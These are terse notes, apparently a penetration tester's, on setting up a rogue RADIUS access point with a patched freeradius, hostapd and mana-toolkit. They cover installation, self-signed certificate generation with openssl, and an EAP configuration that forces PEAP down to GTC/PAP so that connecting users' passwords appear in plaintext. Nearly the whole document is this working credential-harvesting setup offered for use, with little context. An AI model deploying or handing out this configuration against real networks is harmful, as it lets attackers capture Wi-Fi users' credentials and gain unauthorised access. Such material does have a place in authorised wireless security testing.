Rogue Radius Server (freeradius patch + hostapd).
How to: https://github.com/brad-anton/freeradius-wpe
apt-get install mana-toolkit hostapd
start.sh
sudo openssl genrsa -out "/etc/[webserver]/ssl/private.key" 2048 sudo openssl req -new -key "/etc/[webserver]/ssl/private.key" -out "/etc/[webserver]/ssl/cert.csr" sudo openssl x509 -req -days 365 -in "/etc/[webserver]/ssl/cert.csr" -signkey "/etc/[webserver]/ssl/private.key" -out "/etc/[webserver]/ssl/cert.crt"
in eap { default_eap_type = peap gtc { auth_type = PAP peap { default_eap_type = gtc tls { path to the certificates }
Now you can see the password in plaintext